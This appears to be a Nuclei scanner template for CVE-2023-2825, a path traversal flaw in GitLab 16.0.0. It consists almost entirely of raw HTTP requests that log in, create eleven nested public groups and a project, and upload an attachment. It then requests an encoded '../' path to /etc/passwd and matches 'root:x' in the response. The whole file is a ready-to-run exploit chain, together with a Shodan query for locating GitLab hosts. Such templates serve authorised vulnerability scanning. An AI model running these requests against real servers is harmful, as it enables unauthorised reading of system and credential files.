id: CVE-2023-2825 info: name: GitLab 16.0.0 - Path Traversal author: DhiyaneshDk,rootxharsh,iamnoooob,pdresearch severity: critical description: | An issue has been discovered in GitLab CE/EE affecting only version 16.0.0. An unauthenticated malicious user can use a path traversal vulnerability to read arbitrary files on the server when an attachment exists in a public project nested within at least five groups reference: - https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/ - https://github.com/Occamsec/CVE-2023-2825 - https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/ - https://nvd.nist.gov/vuln/detail/CVE-2023-2825 classification: cve-id: CVE-2023-2825 metadata: max-request: 16 shodan-query: title:"Gitlab" verified: true tags: cve,cve2023,gitlab,lfi,kev,authenticated variables: data: '{{rand_base(5)}}' http: - raw: - | GET /users/sign_in HTTP/1.1 Host: {{Hostname}} - | POST /users/sign_in HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Accept: */* user%5Blogin%5D={{username}}&user%5Bpassword%5D={{password}}&authenticity_token={{token_1}} - | POST /groups HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Accept: */* group%5Bparent_id%5D=&group%5Bname%5D={{data}}-1&group%5Bpath%5D={{data}}-1&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}} - | POST /groups HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/x-www-form-urlencoded group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-2&group%5Bpath%5D={{data}}-2&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}} - | POST /groups HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/x-www-form-urlencoded group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-3&group%5Bpath%5D={{data}}-3&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}} - | POST /groups HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/x-www-form-urlencoded group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-4&group%5Bpath%5D={{data}}-4&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}} - | POST /groups HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/x-www-form-urlencoded group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-5&group%5Bpath%5D={{data}}-5&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}} - | POST /groups HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/x-www-form-urlencoded group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-6&group%5Bpath%5D={{data}}-6&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}} - | POST /groups HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/x-www-form-urlencoded group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-7&group%5Bpath%5D={{data}}-7&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}} - | POST /groups HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/x-www-form-urlencoded group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-8&group%5Bpath%5D={{data}}-8&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}} - | POST /groups HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/x-www-form-urlencoded group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-9&group%5Bpath%5D={{data}}-9&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}} - | POST /groups HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/x-www-form-urlencoded group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-10&group%5Bpath%5D={{data}}-10&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}} - | POST /groups HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/x-www-form-urlencoded group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-11&group%5Bpath%5D={{data}}-11&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}} - | @timeout: 15s POST /projects HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/x-www-form-urlencoded project%5Bci_cd_only%5D=false&project%5Bname%5D=CVE-2023-2825&project%5Bselected_namespace_id%5D={{namespace_id}}&project%5Bnamespace_id%5D={{namespace_id}}&project%5Bpath%5D=CVE-2023-2825&project%5Bvisibility_level%5D=20&project%5Binitialize_with_readme=1&authenticity_token={{token_2}} - | POST /{{data}}-1/{{data}}-2/{{data}}-3/{{data}}-4/{{data}}-5/{{data}}-6/{{data}}-7/{{data}}-8/{{data}}-9/{{data}}-10/{{data}}-11/CVE-2023-2825/uploads HTTP/1.1 Host: {{Hostname}} Accept: */* X-CSRF-Token: {{x-csrf-token}} Content-Type: multipart/form-data; boundary=0ce2a9fbe06b6da89c138a35a1765ed6 --0ce2a9fbe06b6da89c138a35a1765ed6 Content-Disposition: form-data; name="file"; filename="{{randstr}}" {{randstr}} --0ce2a9fbe06b6da89c138a35a1765ed6-- - | GET /{{data}}-1/{{data}}-2/{{data}}-3/{{data}}-4/{{data}}-5/{{data}}-6/{{data}}-7/{{data}}-8/{{data}}-9/{{data}}-10/{{data}}-11/CVE-2023-2825/uploads/{{upload-hash}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: {{Hostname}} Accept: */* host-redirects: true cookie-reuse: true extractors: - type: regex part: body name: token_1 group: 1 regex: - 'name="authenticity_token" value="([A-Za-z0-9_-]+)"' internal: true - type: regex part: body name: token_2 group: 1 regex: - 'name="csrf\-token" content="([A-Z_0-9a-z-]+)"' internal: true - type: regex part: body name: parent_id group: 1 regex: - 'href="\/groups\/new\?parent_id=([0-9]+)' internal: true - type: regex part: body name: namespace_id group: 1 regex: - 'ref="\/projects\/new\?namespace_id=([0-9]+)' internal: true - type: regex part: body name: x-csrf-token group: 1 regex: - 'const headers = \{"X\-CSRF\-Token":"([a-zA-Z-0-9_]+)"' internal: true - type: regex part: body name: upload-hash group: 1 regex: - '"url":"\/uploads\/([0-9a-z]+)\/' internal: true matchers-condition: and matchers: - type: word encoding: hex words: - "726f6f743a78" - type: word part: header words: - "application/octet-stream" - "etc%2Fpasswd" condition: and